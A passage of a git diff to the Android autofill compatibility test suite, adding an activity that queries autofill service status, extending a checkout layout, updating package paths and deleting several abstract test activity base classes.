+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.d(TAG, "onFillResponse()");
+    }
+}
diff --git a/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java
new file mode 100644
index 0000000..e0d9e2b
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofill.cts2;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.PendingIntent.CanceledException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+/**
+ * An activity that queries its AutofillService status when started and immediately terminates
+ * itself.
+ */
+public class QueryAutofillStatusActivity extends Activity {
+
+    private static final String TAG = "QueryAutofillServiceStatusActivity";
+
+    // Autofill enable status, the value should be the same with AutofillManagerTest in
+    // CtsAutofillServiceTestCases.
+    private static final int AUTOFILL_ENABLE = 1;
+    private static final int AUTOFILL_DISABLE = 2;
+
+    private PendingIntent mPendingIntent;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        mPendingIntent = intent.getParcelableExtra("finishBroadcast");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        hasEnabledAutofillServicesAndFinish();
+    }
+
+    private void hasEnabledAutofillServicesAndFinish() {
+        // Check if the calling application provides a AutofillService that is enabled
+        final AutofillManager afm = getSystemService(AutofillManager.class);
+        final boolean enabled = afm.hasEnabledAutofillServices();
+        Log.w(TAG, "hasEnabledAutofillServices()= " + enabled);
+
+        if (mPendingIntent != null) {
+            try {
+                final int resultCode = enabled ? AUTOFILL_ENABLE : AUTOFILL_DISABLE;
+                mPendingIntent.send(resultCode);
+            } catch (CanceledException e) {
+                Log.w(TAG, "Pending intent " + mPendingIntent + " canceled");
+            }
+        }
+        finish();
+    }
+}
diff --git a/tests/autofillservice/res/drawable/my_drawable.xml b/tests/autofillservice/res/drawable/my_drawable.xml
index eb1b15a..62433d7 100644
--- a/tests/autofillservice/res/drawable/my_drawable.xml
+++ b/tests/autofillservice/res/drawable/my_drawable.xml
@@ -15,4 +15,5 @@
   * limitations under the License.
   -->
 
-<android.autofillservice.cts.MyDrawable xmlns:android="http://schemas.android.com/apk/res/android"/>
+<android.autofillservice.cts.testcore.MyDrawable
+    xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml b/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
deleted file mode 100644
index 6920f19..0000000
--- a/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <EditText android:id="@+id/editText" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone"/>
-
-    <CheckBox android:id="@+id/compoundButton" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-    <RadioGroup android:id="@+id/radioGroup" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone">
-
-        <RadioButton android:id="@+id/radioButton1" android:layout_width="wrap_content"
-            android:layout_height="wrap_content" android:checked="true"/>
-
-        <RadioButton android:id="@+id/radioButton2" android:layout_width="wrap_content"
-            android:layout_height="wrap_content" />
-
-    </RadioGroup>
-
-    <Spinner android:id="@+id/spinner" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:entries="@array/cc_expiration_values"
-        android:visibility="gone" />
-
-    <DatePicker android:id="@+id/datePicker" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-    <TimePicker android:id="@+id/timePicker" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-</LinearLayout>
diff --git a/tests/autofillservice/res/layout/checkout_activity.xml b/tests/autofillservice/res/layout/checkout_activity.xml
index 4197e43..83f5585 100644
--- a/tests/autofillservice/res/layout/checkout_activity.xml
+++ b/tests/autofillservice/res/layout/checkout_activity.xml
@@ -112,4 +112,24 @@
             android:text="Buy it" />
     </LinearLayout>
 
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <DatePicker android:id="@+id/datePicker"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TimePicker android:id="@+id/timePicker"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"/>
+    </LinearLayout>
+
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/fat_activity.xml b/tests/autofillservice/res/layout/fat_activity.xml
index 2efd33c..8a66004 100644
--- a/tests/autofillservice/res/layout/fat_activity.xml
+++ b/tests/autofillservice/res/layout/fat_activity.xml
@@ -137,7 +137,7 @@
 
     </LinearLayout>
 
-    <view class="android.autofillservice.cts.FatActivity$MyView"
+    <view class="android.autofillservice.cts.activities.FatActivity$MyView"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:autofillHints="importantAmI">
diff --git a/tests/autofillservice/res/layout/virtual_container_activity.xml b/tests/autofillservice/res/layout/virtual_container_activity.xml
index e105d22..f4e9b85 100644
--- a/tests/autofillservice/res/layout/virtual_container_activity.xml
+++ b/tests/autofillservice/res/layout/virtual_container_activity.xml
@@ -44,7 +44,8 @@
             android:layout_height="wrap_content" />
     </LinearLayout>
 
-    <android.autofillservice.cts.VirtualContainerView xmlns:android="http://schemas.android.com/apk/res/android"
+    <android.autofillservice.cts.activities.VirtualContainerView
+        xmlns:android="http://schemas.android.com/apk/res/android"
         android:id="@+id/virtual_container_view"
         android:layout_width="fill_parent"
         android:layout_height="fill_parent"
diff --git a/tests/autofillservice/res/layout/webview_only_activity.xml b/tests/autofillservice/res/layout/webview_only_activity.xml
index 469028a..e78a22d 100644
--- a/tests/autofillservice/res/layout/webview_only_activity.xml
+++ b/tests/autofillservice/res/layout/webview_only_activity.xml
@@ -24,7 +24,7 @@
     android:focusableInTouchMode="true"
     android:orientation="vertical" >
 
-    <android.autofillservice.cts.MyWebView
+    <android.autofillservice.cts.activities.MyWebView
         android:id="@+id/my_webview"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
deleted file mode 100644
index 6884f06..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.graphics.Bitmap;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.view.PixelCopy;
-import android.view.View;
-import android.view.autofill.AutofillManager;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-import com.android.compatibility.common.util.Timeout;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
-  * Base class for all activities in this test suite
-  */
-public abstract class AbstractAutoFillActivity extends Activity {
-
-    private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
-    protected final String mTag = getClass().getSimpleName();
-    private MyAutofillCallback mCallback;
-
-    /**
-     * Run an action in the UI thread, and blocks caller until the action is finished.
-     */
-    public final void syncRunOnUiThread(Runnable action) {
-        syncRunOnUiThread(action, Timeouts.UI_TIMEOUT.ms());
-    }
-
-    /**
-     * Run an action in the UI thread, and blocks caller until the action is finished or it times
-     * out.
-     */
-    public final void syncRunOnUiThread(Runnable action, long timeoutMs) {
-        final CountDownLatch latch = new CountDownLatch(1);
-        runOnUiThread(() -> {
-            action.run();
-            latch.countDown();
-        });
-        try {
-            if (!latch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
-                throw new RetryableException("action on UI thread timed out after %d ms",
-                        timeoutMs);
-            }
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new RuntimeException("Interrupted", e);
-        }
-    }
-
-    public AutofillManager getAutofillManager() {
-        return getSystemService(AutofillManager.class);
-    }
-
-    /**
-     * Takes a screenshot from the whole activity.
-     *
-     * <p><b>Note:</b> this screenshot only contains the contents of the activity, it doesn't
-     * include the autofill UIs; if you need to check that, please use
-     * {@link UiBot#takeScreenshot()} instead.
-     */
-    public Bitmap takeScreenshot() {
-        return takeScreenshot(findViewById(android.R.id.content).getRootView());
-    }
-
-    /**
-     * Takes a screenshot from the a view.
-     */
-    public Bitmap takeScreenshot(View view) {
-        final Rect srcRect = new Rect();
-        syncRunOnUiThread(() -> view.getGlobalVisibleRect(srcRect));
-        final Bitmap dest = Bitmap.createBitmap(
-                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
-
-        final SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        final int copyResult = copy.request(getWindow(), srcRect, dest);
-        assertThat(copyResult).isEqualTo(PixelCopy.SUCCESS);
-
-        return dest;
-    }
-
-    /**
-     * Registers and returns a custom callback for autofill events.
-     *
-     * <p>Note: caller doesn't need to call {@link #unregisterCallback()}, it will be automatically
-     * unregistered on {@link #finish()}.
-     */
-    public MyAutofillCallback registerCallback() {
-        assertWithMessage("already registered").that(mCallback).isNull();
-        mCallback = new MyAutofillCallback();
-        getAutofillManager().registerCallback(mCallback);
-        return mCallback;
-    }
-
-    /**
-     * Unregister the callback from the {@link AutofillManager}.
-     *
-     * <p>This method just neeed to be called when a test case wants to explicitly test the behavior
-     * of the activity when the callback is unregistered.
-     */
-    protected void unregisterCallback() {
-        assertWithMessage("not registered").that(mCallback).isNotNull();
-        unregisterNonNullCallback();
-    }
-
-    /**
-     * Waits until {@link #onDestroy()} is called.
-     */
-    public void waintUntilDestroyed(@NonNull Timeout timeout) throws InterruptedException {
-        if (!mDestroyedLatch.await(timeout.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(timeout, "activity %s not destroyed", this);
-        }
-    }
-
-    private void unregisterNonNullCallback() {
-        getAutofillManager().unregisterCallback(mCallback);
-        mCallback = null;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        AutofillTestWatcher.registerActivity("onCreate()", this);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        // Activitiy is typically unregistered at finish(), but we need to unregister here too
-        // for the cases where it's destroyed due to a config change (like device rotation).
-        AutofillTestWatcher.unregisterActivity("onDestroy()", this);
-        mDestroyedLatch.countDown();
-    }
-
-    @Override
-    public void finish() {
-        finishOnly();
-        AutofillTestWatcher.unregisterActivity("finish()", this);
-    }
-
-    /**
-     * Finishes the activity, without unregistering it from {@link AutofillTestWatcher}.
-     */
-    void finishOnly() {
-        if (mCallback != null) {
-            unregisterNonNullCallback();
-        }
-        super.finish();
-    }
-
-    /**
-     * Clears focus from input fields.
-     */
-    public void clearFocus() {
-        throw new UnsupportedOperationException("Not implemented by " + getClass());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
deleted file mode 100644
index 154db78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.DatePicker;
-import android.widget.EditText;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Base class for an activity that has the following fields:
- *
- * <ul>
- *   <li>A DatePicker (id: date_picker)
- *   <li>An EditText that is filled with the DatePicker when it changes (id: output)
- *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
- * </ul>
- *
- * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
- * UI types (like calendar and spinner).
- */
-abstract class AbstractDatePickerActivity extends AbstractAutoFillActivity {
-
-    private static final long OK_TIMEOUT_MS = 1000;
-
-    static final String ID_DATE_PICKER = "date_picker";
-    static final String ID_OUTPUT = "output";
-
-    private DatePicker mDatePicker;
-    private EditText mOutput;
-    private Button mOk;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mOkLatch;
-
-    protected abstract int getContentView();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mDatePicker = (DatePicker) findViewById(R.id.date_picker);
-
-        mDatePicker.setOnDateChangedListener((v, y, m, d) -> updateOutputWithDate(y, m, d));
-
-        mOutput = (EditText) findViewById(R.id.output);
-        mOk = (Button) findViewById(R.id.ok);
-        mOk.setOnClickListener((v) -> ok());
-    }
-
-    public DatePicker getDatePicker() {
-        return mDatePicker;
-    }
-
-    private void updateOutputWithDate(int year, int month, int day) {
-        final String date = year + "/" + month + "/" + day;
-        mOutput.setText(date);
-    }
-
-    private void ok() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Good news everyone! The world didn't end!");
-        startActivity(intent);
-        if (mOkLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mOkLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String output, int year, int month, int day) {
-        mExpectation = new FillExpectation(output, year, month, day);
-        mOutput.addTextChangedListener(mExpectation.outputWatcher);
-        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
-            updateOutputWithDate(y, m, d);
-            mExpectation.dateListener.onDateChanged(v, y, m, d);
-        });
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int, int)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.outputWatcher.assertAutoFilled();
-        mExpectation.dateListener.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code output} in the UiThread.
-     */
-    void onOutput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mOutput));
-    }
-
-    /**
-     * Sets the date in the {@link DatePicker}.
-     */
-    void setDate(int year, int month, int day) {
-        syncRunOnUiThread(() -> mDatePicker.updateDate(year, month, day));
-    }
-
-    /**
-     * Taps the ok button in the UI thread.
-     */
-    void tapOk() throws Exception {
-        mOkLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mOk.performClick());
-        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final MultipleTimesTextWatcher outputWatcher;
-        private final OneTimeDateListener dateListener;
-
-        private FillExpectation(String output, int year, int month, int day) {
-            // Output is called twice: by the DateChangeListener and by auto-fill.
-            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
-            dateListener = new OneTimeDateListener("datePicker", mDatePicker, year, month, day);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
deleted file mode 100644
index 6e7b475..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.view.accessibility.AccessibilityEvent;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Base class for test cases using {@link GridActivity}.
- */
-abstract class AbstractGridActivityTestCase
-        extends AutoFillServiceTestCase.AutoActivityLaunch<GridActivity> {
-
-    protected GridActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<GridActivity> getActivityRule() {
-        return new AutofillActivityTestRule<GridActivity>(GridActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-                postActivityLaunched();
-            }
-        };
-    }
-
-    /**
-     * Hook for subclass to customize activity after it's launched.
-     */
-    protected void postActivityLaunched() {
-    }
-
-    /**
-     * Focus to a cell and expect window event
-     */
-    protected void focusCell(int row, int column) throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column));
-    }
-
-    /**
-     * Focus to a cell and expect no window event.
-     */
-    protected void focusCellNoWindowChange(int row, int column) {
-        final AccessibilityEvent event;
-        try {
-            event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
-                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (WindowChangeTimeoutException ex) {
-            // no window events! looking good
-            return;
-        }
-        throw new IllegalStateException(String.format("Expect no window event when focusing to"
-                + " column %d row %d, but event happened: %s", row, column, event));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
deleted file mode 100644
index 8def8d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.view.View;
-import android.view.accessibility.AccessibilityEvent;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Base class for test cases using {@link LoginActivity}.
- */
-public abstract class AbstractLoginActivityTestCase
-        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginActivity> {
-
-    protected LoginActivity mActivity;
-
-    protected AbstractLoginActivityTestCase() {
-    }
-
-    protected AbstractLoginActivityTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<LoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<LoginActivity>(
-                LoginActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Requests focus on username and expect Window event happens.
-     */
-    protected void requestFocusOnUsername() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus));
-    }
-
-    /**
-     * Requests focus on username and expect no Window event happens.
-     */
-    protected void requestFocusOnUsernameNoWindowChange() {
-        final AccessibilityEvent event;
-        try {
-            event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
-                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (WindowChangeTimeoutException ex) {
-            // no window events! looking good
-            return;
-        }
-        throw new IllegalStateException("Expect no window event when focusing to"
-                + " username, but event happened: " + event);
-    }
-
-    /**
-     * Requests focus on password and expect Window event happens.
-     */
-    protected void requestFocusOnPassword() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.onPassword(View::requestFocus));
-    }
-
-    /**
-     * Clears focus from input fields by focusing on the parent layout.
-     */
-    protected void clearFocus() {
-        mActivity.clearFocus();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
deleted file mode 100644
index a997590..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TimePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Base class for an activity that has the following fields:
- *
- * <ul>
- *   <li>A TimePicker (id: date_picker)
- *   <li>An EditText that is filled with the TimePicker when it changes (id: output)
- *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
- * </ul>
- *
- * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
- * UI types (like clock and spinner).
- */
-abstract class AbstractTimePickerActivity extends AbstractAutoFillActivity {
-
-    private static final long OK_TIMEOUT_MS = 1000;
-
-    static final String ID_TIME_PICKER = "time_picker";
-    static final String ID_OUTPUT = "output";
-
-    private TimePicker mTimePicker;
-    private EditText mOutput;
-    private Button mOk;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mOkLatch;
-
-    protected abstract int getContentView();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mTimePicker = (TimePicker) findViewById(R.id.time_picker);
-
-        mTimePicker.setOnTimeChangedListener((v, m, h) -> updateOutputWithTime(m, h));
-
-        mOutput = (EditText) findViewById(R.id.output);
-        mOk = (Button) findViewById(R.id.ok);
-        mOk.setOnClickListener((v) -> ok());
-    }
-
-    private void updateOutputWithTime(int hour, int minute) {
-        final String time = hour + ":" + minute;
-        mOutput.setText(time);
-    }
-
-    private void ok() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "It's Adventure Time!");
-        startActivity(intent);
-        if (mOkLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mOkLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String output, int hour, int minute) {
-        mExpectation = new FillExpectation(output, hour, minute);
-        mOutput.addTextChangedListener(mExpectation.outputWatcher);
-        mTimePicker.setOnTimeChangedListener((v, h, m) -> {
-            updateOutputWithTime(h, m);
-            mExpectation.timeListener.onTimeChanged(v, h, m);
-        });
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.timeListener.assertAutoFilled();
-        mExpectation.outputWatcher.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code output} in the UiThread.
-     */
-    void onOutput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mOutput));
-    }
-
-    /**
-     * Sets the time in the {@link TimePicker}.
-     */
-    void setTime(int hour, int minute) {
-        syncRunOnUiThread(() -> {
-            mTimePicker.setHour(hour);
-            mTimePicker.setMinute(minute);
-        });
-    }
-
-    /**
-     * Taps the ok button in the UI thread.
-     */
-    void tapOk() throws Exception {
-        mOkLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mOk.performClick());
-        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final MultipleTimesTextWatcher outputWatcher;
-        private final MultipleTimesTimeListener timeListener;
-
-        private FillExpectation(String output, int hour, int minute) {
-            // Output is called twice: by the TimeChangeListener and by auto-fill.
-            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
-            timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
-                    minute);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
deleted file mode 100644
index ce11da8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.SystemClock;
-import android.support.test.uiautomator.UiObject2;
-import android.view.KeyEvent;
-import android.widget.EditText;
-
-abstract class AbstractWebViewActivity extends AbstractAutoFillActivity {
-
-    public static final String FAKE_DOMAIN = "y.u.no.real.server";
-
-    public static final String HTML_NAME_USERNAME = "username";
-    public static final String HTML_NAME_PASSWORD = "password";
-
-    protected MyWebView mWebView;
-
-    protected UiObject2 getInput(UiBot uiBot, UiObject2 label) throws Exception {
-        // Then the input is next.
-        final UiObject2 parent = label.getParent();
-        UiObject2 previous = null;
-        for (UiObject2 child : parent.getChildren()) {
-            if (label.equals(previous)) {
-                if (child.getClassName().equals(EditText.class.getName())) {
-                    return child;
-                }
-                uiBot.dumpScreen("getInput() for " + child + "failed");
-                throw new IllegalStateException("Invalid class for " + child);
-            }
-            previous = child;
-        }
-        uiBot.dumpScreen("getInput() for label " + label + "failed");
-        throw new IllegalStateException("could not find username (label=" + label + ")");
-    }
-
-    public void dispatchKeyPress(int keyCode) {
-        runOnUiThread(() -> {
-            KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
-            mWebView.dispatchKeyEvent(keyEvent);
-            keyEvent = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
-            mWebView.dispatchKeyEvent(keyEvent);
-        });
-        // wait webview to process the key event.
-        SystemClock.sleep(300);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
deleted file mode 100644
index c189d85..0000000
